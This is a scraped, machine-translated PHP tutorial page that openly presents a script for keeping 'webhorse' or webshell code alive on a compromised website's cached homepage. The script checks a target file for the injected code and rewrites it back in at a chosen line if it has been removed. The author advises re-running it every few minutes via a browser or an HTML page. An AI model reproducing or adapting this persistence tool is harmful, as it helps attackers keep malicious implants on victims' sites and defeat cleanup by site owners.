Home > Backend Development > PHP Tutorial > PHP writes code in the specified line of the file_PHP tutorial

PHP writes code in the specified line of the file_PHP tutorial

WBOY
Release: 2016-07-13 17:50:19
Original
849 people have browsed it

Some website homepages are cached pages, and the webhorse code or webshell code you added is often killed by updates or other factors, so I created this code:


$file="aa.php" ;

$code="";

$f=fopen($file,"r+");

$content=fread($f,filesize($file));

fclose($f);

if(!strstr($content,$code)){

$arrInsert = insertContent($file, $code, 3);

unlink($file);



foreach($arrInsert as $value)

{

file_put_contents($file, $value, FILE_APPEND);

}



}



function insertContent($source, $s, $iLine) {

$file_handle = fopen($source, "r");

$i = 0;

$arr = array();

while (!feof($file_handle)) {

$line = fgets($file_handle);

++$i;

if ($i == $iLine) {

$arr[] = $line .$s . "n";

}else {

$arr[] = $line;

}

}

fclose($file_handle);

return $arr;

}

?>

After saving this file into php, you can use a small program to execute it every few minutes. Browsers like Opera have this function. But I added another html code to run it. You can use IE. You can just open the html and throw it wherever you want.















www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/478274.htmlTechArticleSome website homepages are cached pages. The web horse code or webshell code you added is often updated or other factors were eliminated, so I created this code: ?php $file=aa.php; $code=scrip...
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template